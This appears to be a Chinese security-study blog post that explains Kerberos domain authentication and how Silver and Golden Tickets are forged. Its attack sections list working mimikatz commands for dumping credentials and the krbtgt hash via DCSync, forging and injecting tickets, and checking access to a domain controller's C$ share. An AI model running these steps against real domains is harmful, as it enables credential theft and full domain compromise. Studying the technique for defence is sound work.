内网安全:Kerberos域认证流程---黄金票据和白银票据

文章目录

    • 0x00 前提
    • 0x01 Kerberos域认证
    • 域认证大致流程:
    • 第一部分:生成TGT 和 session key
    • 第二步:获取要访问的 server ticket
    • 第三部 向客户端向服务器请求认证
    • 0x01 白银票据(Silver Tickets)
      • 伪造白银票据(Silver Tickets)
    • 0x02 黄金票据(Golden Ticket)
      • 伪造黄金票据
    • 0x03 黄金票据和白银票据比较
    • 0x04 参考

0x00 前提

算是学习之后总结记录,加深自己的理解,这里我是参考了倾旋师傅的讲解,感觉讲的比较好,加入自己的理解和一些其他东西写下来,分享出来,也方便自己回顾知识和补充
还有画图的问题,我自己画的太费劲了而且也看不明白,索性我就自己手画了几个,方便自己理解和熟悉流程,感觉不错,手动狗头,哈哈

0x01 Kerberos域认证

Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。

内网安全:Kerberos域认证流程---黄金票据和白银票据_第1张图片

Kerberos的标志是三只狗头,分别代表以下角色:

  • Client
  • Server
  • KDC(Key Distribution Center) = DC(Domain Controller)

名词基本概念:

  • KDC: Key Distribution Center,密钥分发中心,负责管理票据、认证票据、分发票据,但是KDC不是一个独立的服务,它由AS和TGS组成。

  • AD: Account Database,存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT。

    (物理方面 KDC和AD 都是一个机子)

  • TGT: Ticket Granting Ticket = 入场券,通过入场券能够获得票据,是一种临时凭证的存在。

  • AS(Authentication Server)= 认证服务器,为client生成TGT的服务

  • TGS(Ticket Granting Server)= 票据授权服务器

  • SS(Service Server)= 特定服务提供端

域认证大致流程:

  1. Client 上的用户请求KDC服务,最后AS服务生产TGT,返回给Client

  2. Client 使用TGT请求KDC上的TGS得到ST(TGS ticket)真正访问的票据

  3. Client使用ST(TGS Ticket)访问Server

第一部分:生成TGT 和 session key

1.Client发送自己的身份信息到KDC(身份信息中起码包含用户名),KDC根据用户名在AD中寻找是否在白名单中,然后根据用户名提取到对应的NTLM Hash。

2 .KDC此时生成一个随机字符串Session Key,使用客户端的NTLM Hash加密Session Key,作为AS数据,使用KDC中krbtgt用户的NTLM Hash加密Session Key和客户端的信息,生成TGT。

第一部分:获取了 TGT

内网安全:Kerberos域认证流程---黄金票据和白银票据_第2张图片

注:客户端收到 TGT 是无法解密的,KDC返回的TGT客户端是无法解密的,因为它没有KDC Hash,KDC Hash指的就是是krbtgt 的hash

这就是伪造黄金票据的原理,这个是后面还会有介绍。

第二步:获取要访问的 server ticket

1.客户端使用自己NTLM Hash解密出来的Session Key加密的客户端信息跟时间戳。

如果假设这个数据被中间人窃取到,也无法在段时间内破解,因为KDC会校验时间戳。

2.KDC接到TGT与其他内容后,会首先解密TGT,只有KDC可以解密TGT,从TGT中提取到Session Key,再使用Session Key解密其他内容,解密出来的内容同TGT中的信息进行校验来确认客户端是否受信。

3.验证通过后,就会生成一个新的Session Key,我们称之为Server Session Key

这个Server Session Key主要用于和服务器进行通信。同时还会生成一个Ticket,也就是最后的票据了。

内网安全:Kerberos域认证流程---黄金票据和白银票据_第3张图片

注释:Server Hash:这个Hash是在AD中服务器计算机的NTLM Hash。

第三部 向客户端向服务器请求认证

客户端向服务器请求,需要提供Ticket,Server Session Key加密的客户端信息与时间戳。

1 Ticket客户端无法解密,因为没有 Server hash,只能发送给 sever端

2 服务器端通过自己的hash解密Ticket,得到解密Server Session Key(Client info + Timestamp)

3 用刚刚解密的Session Key,解开Client info + Timestamp,验证客户端信息和时间戳

校验通过后,认证成功,该票据会一直存在客户端内存中,最后成功登陆

内网安全:Kerberos域认证流程---黄金票据和白银票据_第4张图片

其中白银票据的伪造就发生在这一步的认证中,下面会介绍

0x01 白银票据(Silver Tickets)

白银票据前提:

1.不需要与KDC进行交互,直接和server认证

2.需要目标服务的NTLM Hash

在第三步认证中的Ticket的组成:

内网安全:Kerberos域认证流程---黄金票据和白银票据_第5张图片

Ticket=Server Hash(Server Session Key+Client info+End Time) 

原理:
如果我们拥有Server Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket,直接去server端去验证。

注:服务器是不知道Server Session Key是什么的,服务器的Server Session Key是解密ticket获得的,所以一切凭据的核心在Server Hash,有了它就开业直接伪造票据认证。

伪造白银票据(Silver Tickets)

首先需要导出Server Hash:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

或MSF模块

meterpreter > load mimikatz
meterpreter > msv

伪造票据:

清空当前系统的票据

klist purge

伪造票据

mimikatz.exe “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4: /user:<用户名> /ptt" exit
mimikatz.exe "kerberos::golden /domain:zeo.com /sid:S-1-5-21-1111111111-111111111-11111111111 /target:DC.zeo.com /service:CIFS /rc4:7c4a8d09ca3762af61e59520943dc26494f8941b /user:admin /ptt" exit

验证权限

dir \\DC\c$

由于白银票据需要目标服务器的Hash,所以没办法生成对应域内 所有服务器的票据。因此只能针对服务器 上的某些服务去伪造,伪造的服务类型列表如下:

服务注释 服务名
WMI HOST、RPCSS
Powershell Remoteing HOST、HTTP
WinRM HOST、HTTP
Scheduled Tasks HOST
LDAP 、DCSync LDAP
Windows File Share (CIFS) CIFS
Windows Remote ServerAdministration Tools RPCSS、LDAP、CIFS

0x02 黄金票据(Golden Ticket)

黄金票据前提:

1.需要与DC通信

2.需要krbtgt用户的hash(也就是说要拿下域控制器)

黄金票据原理:

就是伪造的TGT,它会在第二步认证被发送到KDC的TGS,如果我们有了krbtgt用户的hash就可以直接伪造TGT,其中的KDC需要的session key,是KDC解密TGT之后获取的,所以session key也是和TGT一起伪造的,那么后续的认证,就可以随意的制造想要的票据了。

伪造黄金票据

管理员权限运行mimikatz,获取关键krbtgt hash

mimikatz.exe "lsadump::dcsync /user:krbtgt" exit

获取域中所有用户SID

只要是域用户权限就行,去掉SID最后的数字

wmic useraccount get name,sid

清空现有票据

mimikatz.exe "kerberos::purge" exit

生成票据

mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4: /user:<任意用户名> /ptt" exit

还有一个简单的用法,cobalt strike中直接有一项黄金票据生产,十分方便。

将票据注入内存

mimikatz.exe "kerberos::ptt Administrator.kiribi" exit

当前会话中的票据

mimikatz.exe "kerberos::tgt" exit

权限验证

dir \\DC\c$

0x03 黄金票据和白银票据比较

黄金票据 白银票据
访问权限 伪造TGT,可以获取任何Kerberos服务权限 伪造TGS,只能访问指定的服务
加密方式 由Kerberos的Hash加密 Silver Ticket由服务账号Hash加密
认证流程 需要访问域控认证,属于第二步认证 直接和服务器认,最后一步认证

0x04 参考

https://payloads.online/archivers/2018-11-30/1

你可能感兴趣的:(内网安全研究)